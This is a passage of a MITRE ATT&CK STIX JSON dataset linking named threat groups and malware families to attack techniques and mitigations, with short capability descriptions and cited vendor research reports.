            "description": "[OilRig](https://attack.mitre.org/groups/G0049) has used keylogging tools called KEYPUNCH and LONGWATCH.(Citation: FireEye APT34 Webinar Dec 2017)(Citation: FireEye APT34 July 2019)\t\n",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east",
                    "description": "Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.",
                    "source_name": "FireEye APT34 Webinar Dec 2017"
                },
                {
                    "description": "Bromiley, M., et al.. (2019, July 18). Hard Pass: Declining APT34\u2019s Invite to Join Their Professional Network. Retrieved August 26, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2019/07/hard-pass-declining-apt34-invite-to-join-their-professional-network.html",
                    "source_name": "FireEye APT34 July 2019"
                }
            ],
            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T20:14:22.874Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--fdf161e2-46dc-41ee-bec4-9b18c8b1e6d9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c",
            "relationship_type": "uses",
            "target_ref": "malware--49abab73-3c5c-476e-afd5-69b5c732d845",
            "external_references": [
                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                }
            ],
            "description": "(Citation: FireEye APT37 Feb 2018)",
            "type": "relationship",
            "modified": "2019-09-09T19:12:32.900Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--0471088d-7b45-4fec-8946-ae5bf463286b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Pteranodon](https://attack.mitre.org/software/S0147) can capture screenshots at a configurable interval.(Citation: Palo Alto Gamaredon Feb 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Palo Alto Gamaredon Feb 2017",
                    "description": "Kasza, A. and Reichel, D. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/"
                }
            ],
            "source_ref": "malware--5f9f7648-04ba-4a9f-bb4c-2a13e74572bd",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
            "type": "relationship",
            "modified": "2020-06-22T17:54:15.513Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--bceada36-e6ba-49b9-b9f8-99e37e6cbf9e",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c",
            "relationship_type": "uses",
            "target_ref": "malware--2dd34b01-6110-4aac-835d-b5e7b936b0be",
            "external_references": [
                {
                    "source_name": "FireEye APT28",
                    "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf"
                }
            ],
            "description": "(Citation: FireEye APT28)",
            "type": "relationship",
            "modified": "2019-09-09T17:44:36.180Z",
            "created": "2017-05-31T21:33:27.041Z"
        },
        {
            "id": "relationship--63f0007e-833e-4d6a-b79e-873525979f40",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) attempts to exploit privilege escalation vulnerabilities CVE-2010-0232 or CVE-2010-4398.(Citation: F-Secure The Dukes)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "F-Secure The Dukes",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"
                }
            ],
            "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839",
            "type": "relationship",
            "modified": "2020-03-16T16:36:13.663Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--53c60706-1faf-401a-8c65-7753b04cec02",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Calisto](https://attack.mitre.org/software/S0274) attempted to contact the C2 server over TCP using port 80.(Citation: Securelist Calisto July 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Securelist Calisto July 2018",
                    "description": "Kuzin, M., Zelensky S. (2018, July 20). Calisto Trojan for macOS. Retrieved September 7, 2018.",
                    "url": "https://securelist.com/calisto-trojan-for-macos/86543/"
                }
            ],
            "source_ref": "malware--b8fdef82-d2cf-4948-8949-6466357b1be1",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e",
            "type": "relationship",
            "modified": "2020-01-17T19:33:18.061Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--2f507d82-1df4-4c9c-804a-2e6060944142",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "A version of [Daserf](https://attack.mitre.org/software/S0187) uses the MPRESS packer.(Citation: Trend Micro Daserf Nov 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Trend Micro Daserf Nov 2017",
                    "description": "Chen, J. and Hsieh, M. (2017, November 7). REDBALDKNIGHT/BRONZE BUTLER\u2019s Daserf Backdoor Now Using Steganography. Retrieved December 27, 2017.",
                    "url": "http://blog.trendmicro.com/trendlabs-security-intelligence/redbaldknight-bronze-butler-daserf-backdoor-now-using-steganography/"
                }
            ],
            "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062",
            "type": "relationship",
            "modified": "2020-03-16T16:40:40.480Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--f16f0b46-3363-48bd-9a13-c8751fdedf1c",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[MirageFox](https://attack.mitre.org/software/S0280) has a function for decrypting data containing C2 configuration information.(Citation: APT15 Intezer June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "APT15 Intezer June 2018",
                    "description": "Rosenberg, J. (2018, June 14). MirageFox: APT15 Resurfaces With New Tools Based On Old Ones. Retrieved September 21, 2018.",
                    "url": "https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/"
                }
            ],
            "source_ref": "malware--e3cedcfe-6515-4348-af65-7f2c4157bf0d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c",
            "type": "relationship",
            "modified": "2020-03-20T01:59:01.650Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--0a4e270a-5641-424d-a343-437ae9548125",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--6e7db820-9735-4545-bc64-039bc4ce354b",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--a0a189c8-d3bd-4991-bf6f-153d185ee373",
            "type": "relationship",
            "modified": "2020-03-30T13:53:57.671Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--1fbde0c8-1b00-40bf-8fef-11892d103d63",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PinchDuke](https://attack.mitre.org/software/S0048) searches for files created within a certain timeframe and whose file extension matches a predefined list.(Citation: F-Secure The Dukes)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "F-Secure The Dukes",
                    "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.",
                    "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf"
                }
            ],
            "source_ref": "malware--ae9d818d-95d0-41da-b045-9cabea1ca164",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18",
            "type": "relationship",
            "modified": "2020-03-17T02:07:10.818Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--3f14994e-149d-4cca-85b8-eec0964120d3",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Adversaries can direct [BACKSPACE](https://attack.mitre.org/software/S0031) to execute from the command line on infected hosts, or have [BACKSPACE](https://attack.mitre.org/software/S0031) create a reverse shell.(Citation: FireEye APT30)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye APT30",
                    "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.",
                    "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf"
                }
            ],
            "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
            "type": "relationship",
            "modified": "2020-03-20T16:10:18.317Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--2f3ff7c9-ea14-45ad-b295-6f2f3c40cff7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) uses AES to encrypt network communication.(Citation: GitHub QuasarRAT)(Citation: Volexity Patchwork June 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://github.com/quasar/QuasarRAT",
                    "description": "MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.",
                    "source_name": "GitHub QuasarRAT"
                },
                {
                    "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/",
                    "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.",
                    "source_name": "Volexity Patchwork June 2018"
                }
            ],
            "source_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41",
            "type": "relationship",
            "modified": "2020-03-21T00:21:14.760Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--5206976b-ac4d-4286-a954-4b1ef5c20adc",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Shamoon](https://attack.mitre.org/software/S0140) obtains the target's IP address and local network segment.(Citation: Palo Alto Shamoon Nov 2016)(Citation: McAfee Shamoon December 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/",
                    "description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
                    "source_name": "Palo Alto Shamoon Nov 2016"
                },
                {
                    "source_name": "McAfee Shamoon December 2018",
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/shamoon-returns-to-wipe-systems-in-middle-east-europe/",
                    "description": "Mundo, A., Roccia, T., Saavedra-Morales, J., Beek, C.. (2018, December 14). Shamoon Returns to Wipe Systems in Middle East, Europe . Retrieved May 29, 2020."
                }
            ],
            "source_ref": "malware--8901ac23-6b50-410c-b0dd-d8174a86f9b3",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2020-05-29T18:11:23.866Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--f38ae08a-0d59-41e9-a4ca-891a04297299",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[PUNCHTRACK](https://attack.mitre.org/software/S0197) aggregates collected data in a tmp file.(Citation: FireEye Know Your Enemy FIN8 Aug 2016)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "FireEye Know Your Enemy FIN8 Aug 2016",
                    "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy:  New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.",
                    "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html"
                }
            ],
            "source_ref": "malware--c4de7d83-e875-4c88-8b5d-06c41e5b7e79",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c",
            "type": "relationship",
            "modified": "2020-03-17T14:48:44.029Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--9eefeafd-aca1-4e4c-8d29-ea6f9154808a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Turla](https://attack.mitre.org/groups/G0010) surveys a system upon check-in to discover network configuration details using the <code>arp -a</code>, <code>nbtstat -n</code>, <code>net config</code>, <code>ipconfig /all</code>, and <code>route</code> commands, as well as [NBTscan](https://attack.mitre.org/software/S0590).(Citation: Kaspersky Turla)(Citation: Symantec Waterbug Jun 2019)(Citation: ESET ComRAT May 2020) [Turla](https://attack.mitre.org/groups/G0010) RPC backdoors have also retrieved registered RPC interface information from process memory.(Citation: ESET Turla PowerShell May 2019)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/the-epic-turla-operation/65545/",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.",
                    "source_name": "Kaspersky Turla"
                },
                {
                    "source_name": "Symantec Waterbug Jun 2019",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments",
                    "description": "Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019."
                },
                {
                    "source_name": "ESET ComRAT May 2020",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf",
                    "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."
                },
                {
                    "source_name": "ESET Turla PowerShell May 2019",
                    "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/",
                    "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019."
                }
            ],
            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0",
            "type": "relationship",
            "modified": "2021-03-23T18:34:56.454Z",
            "created": "2017-05-31T21:33:27.044Z"
        },
        {
            "id": "relationship--1dfbe8fe-0e7a-42a7-85f0-a94b086b470b",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "For early [Gazer](https://attack.mitre.org/software/S0168) versions, the compilation timestamp was faked.(Citation: ESET Gazer Aug 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ESET Gazer Aug 2017",
                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
                }
            ],
            "source_ref": "malware--76abb3ef-dafd-4762-97cb-a35379429db4",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611",
            "type": "relationship",
            "modified": "2020-03-17T01:22:43.713Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--ad7592fd-f5d3-4802-9217-dffe89a6c8eb",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[menuPass](https://attack.mitre.org/groups/G0045) has used process hollowing in iexplore.exe to load the [RedLeaves](https://attack.mitre.org/software/S0153) implant.(Citation: Accenture Hogfish April 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.accenture.com/t20180423T055005Z_w_/se-en/_acnmedia/PDF-76/Accenture-Hogfish-Threat-Analysis.pdf",
                    "description": "Accenture Security. (2018, April 23). Hogfish Redleaves Campaign. Retrieved July 2, 2018.",
                    "source_name": "Accenture Hogfish April 2018"
                }
            ],
            "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--b200542e-e877-4395-875b-cf1a44537ca4",
            "type": "relationship",
            "modified": "2019-09-03T18:50:16.533Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--950399e7-c9c2-4b53-bcc8-b99d0acba8d1",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Kazuar](https://attack.mitre.org/software/S0265) can accept multiple URLs for C2 servers.(Citation: Unit 42 Kazuar May 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Kazuar May 2017",
                    "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.",
                    "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/"
                }
            ],
            "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433",
            "type": "relationship",
            "modified": "2019-04-24T15:26:03.683Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--f4c6cb3f-b24c-4a1e-9bba-7b129b89a17a",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Agent.btz](https://attack.mitre.org/software/S0092) saves system information into an XML file that is then XOR-encoded.(Citation: ThreatExpert Agent.btz)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ThreatExpert Agent.btz",
                    "description": "Shevchenko, S.. (2008, November 30). Agent.btz - A Threat That Hit Pentagon. Retrieved April 8, 2016.",
                    "url": "http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html"
                }
            ],
            "source_ref": "malware--40d3e230-ed32-469f-ba89-be70cc08ab39",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b",
            "type": "relationship",
            "modified": "2020-03-30T02:49:13.072Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--1f99a883-e78f-423d-9837-2b5ebb14fe63",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Matryoshka](https://attack.mitre.org/software/S0167) is capable of keylogging.(Citation: ClearSky Wilted Tulip July 2017)(Citation: CopyKittens Nov 2015)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "ClearSky Wilted Tulip July 2017",
                    "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.",
                    "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf"
                },
                {
                    "source_name": "CopyKittens Nov 2015",
                    "description": "Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.",
                    "url": "https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"
                }
            ],
            "source_ref": "malware--1cc934e4-b01d-4543-a011-b988dfc1a458",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4",
            "type": "relationship",
            "modified": "2020-03-16T17:11:22.863Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--a6d35df2-0711-4b18-b733-6200467056ec",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[APT37](https://attack.mitre.org/groups/G0067) has used strategic web compromises, particularly of South Korean websites, to distribute malware. The group has also used torrent file-sharing sites to more indiscriminately disseminate malware to victims. As part of their compromises, the group has used a Javascript based profiler called RICECURRY to profile a victim's web browser and deliver malicious code accordingly.(Citation: Securelist ScarCruft Jun 2016)(Citation: FireEye APT37 Feb 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://securelist.com/operation-daybreak/75100/",
                    "description": "Raiu, C., and Ivanov, A. (2016, June 17). Operation Daybreak. Retrieved February 15, 2018.",
                    "source_name": "Securelist ScarCruft Jun 2016"
                },
                {
                    "source_name": "FireEye APT37 Feb 2018",
                    "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.",
                    "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"
                }
            ],
            "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6",
            "type": "relationship",
            "modified": "2019-09-09T19:12:32.737Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--938a71e3-a9dc-4ad9-b1c4-b15d75967b8d",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "The discovery modules used with [Duqu](https://attack.mitre.org/software/S0038) can collect information on network connections.(Citation: Symantec W32.Duqu)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf",
                    "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.",
                    "source_name": "Symantec W32.Duqu"
                }
            ],
            "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475",
            "type": "relationship",
            "modified": "2019-04-24T23:18:53.182Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--3f5c880e-da8c-4ad4-9197-17a18f50dd12",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "source_ref": "course-of-action--cb825b86-3f3b-4686-ba99-44878f5d3173",
            "relationship_type": "mitigates",
            "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7",
            "type": "relationship",
            "modified": "2021-04-13T21:36:05.236Z",
            "created": "2018-04-18T17:59:24.739Z"
        },
        {
            "id": "relationship--ced15447-281b-4d92-941e-b5df9747a3d5",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "Rundll32.exe is used as a way of executing [Flame](https://attack.mitre.org/software/S0143) at the command-line.(Citation: Crysys Skywiper)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://www.crysys.hu/publications/files/skywiper.pdf",
                    "description": "sKyWIper Analysis Team. (2012, May 31). sKyWIper (a.k.a. Flame a.k.a. Flamer):  A complex malware for targeted attacks. Retrieved September 6, 2018.",
                    "source_name": "Crysys Skywiper"
                }
            ],
            "source_ref": "malware--ff6840c9-4c87-4d07-bbb6-9f50aa33d498",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5",
            "type": "relationship",
            "modified": "2019-06-06T14:35:53.985Z",
            "created": "2017-12-14T16:46:06.044Z"
        },
        {
            "id": "relationship--b3981ca6-7ef0-4625-99a8-9cbec731bac9",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Helminth](https://attack.mitre.org/software/S0170) has checked the local administrators group.(Citation: Unit 42 Playbook Dec 2017)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "Unit 42 Playbook Dec 2017",
                    "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.",
                    "url": "https://pan-unit42.github.io/playbook_viewer/"
                }
            ],
            "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--a01bf75f-00b2-4568-a58f-565ff9bf202b",
            "type": "relationship",
            "modified": "2020-03-18T20:31:34.254Z",
            "created": "2018-01-16T16:13:52.465Z"
        },
        {
            "id": "relationship--87648492-36d0-4f94-b318-17280b101678",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Bankshot](https://attack.mitre.org/software/S0239) recursively generates a list of files within a directory and sends them back to the control server.(Citation: McAfee Bankshot)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "source_name": "McAfee Bankshot",
                    "description": "Sherstobitoff, R. (2018, March 08). Hidden Cobra Targets Turkish Financial Sector With New Bankshot Implant. Retrieved May 18, 2018.",
                    "url": "https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/"
                }
            ],
            "source_ref": "malware--1f6e3702-7ca1-4582-b2e7-4591297d05a8",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619",
            "type": "relationship",
            "modified": "2020-02-18T03:40:29.867Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--ea9d456c-f2b7-4d95-ab30-2a7e06586615",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "description": "[Dark Caracal](https://attack.mitre.org/groups/G0070) collected complete contents of the 'Pictures' folder from compromised Windows systems.(Citation: Lookout Dark Caracal Jan 2018)",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "external_references": [
                {
                    "url": "https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf",
                    "description": "Blaich, A., et al. (2018, January 18). Dark Caracal: Cyber-espionage at a Global Scale. Retrieved April 11, 2018.",
                    "source_name": "Lookout Dark Caracal Jan 2018"
                }
            ],
            "source_ref": "intrusion-set--8a831aaa-f3e0-47a3-bed8-a9ced744dd12",
            "relationship_type": "uses",
            "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
            "type": "relationship",
            "modified": "2019-07-16T15:35:20.805Z",
            "created": "2018-10-17T00:14:20.652Z"
        },
        {
            "id": "relationship--5d55979e-d4e8-44eb-97d6-e3e78baa60c7",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
